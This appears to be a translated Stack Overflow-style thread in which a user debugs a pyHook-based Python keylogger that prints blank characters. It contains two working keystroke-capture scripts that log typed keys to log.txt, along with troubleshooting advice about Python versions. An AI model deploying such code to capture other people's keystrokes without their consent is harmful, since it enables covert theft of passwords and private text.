2016-08-05 134 views
0

我写了一个键盘记录程序,但打印不正确。如果我告诉它打印该事件,ASCII解码(print(event.Ascii)),它打印出该密钥的Ascii数值。但如果我告诉它print(chr(event.Ascii))它只是打印一个空行。为什么是这个,我该如何解决它?ASCII chr()不打印任何东西

全码:

import pyHook, pythoncom, sys, logging 

file_log = "log.txt" 

def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG,format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10, chr(event.Ascii)) 
    print(chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 
+1

尝试'print(chr(int(event.Ascii)))'。 –

+0

这增加了一些进步。我使用Enter键,空格键和A键进行了测试,并且它们都返回了一个看起来像这样一个更小版本的小框:[] – doejs

+0

尝试'print(chr(int(str(event.Ascii)))) '。我应该在之前提出这个建议。 –

回答

0

这为我工作:

import pyHook 
import pythoncom 
import time 

log = open('log.txt', 'w') 
result = '' 
def OnKeyboardEvent(event): 
    global result 
    if event.Ascii != 13: 
     result += chr(event.Ascii) 
    else: 
     log.write("%s\r\n" % result) 
     log.flush() 
     result = '' 
    return True 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
try: 
    while True: 
     pythoncom.PumpWaitingMessages() 
     time.sleep(0.01) 
except KeyboardInterrupt: 
    print "Keyboard interrupt" 

它写的文本行的日志文件。它具有可以通过Ctrl+C停止的附加优点。我不知道为什么你的代码不工作。但是,您可以尝试使用pyHook附带的example.py脚本。

注:通常情况下,我会尽我所能避免使用全局变量,但是这会使代码更短。

+0

这没有给我打印任何东西。 。 。也许这是因为我使用Python 2.x的键盘记录器教程,但我运行Python 3.x? – doejs

+0

您正在使用哪个版本的Python 3?您是否安装了与您的Python版本匹配的pyHook版本?我必须安装pyHook的2.7版本才能使用Python 2.7。 –

+0

我使用python 3.5.2,我相信pyHook 1.5.1。 。 。 ython 3.5.2的正确版本 – doejs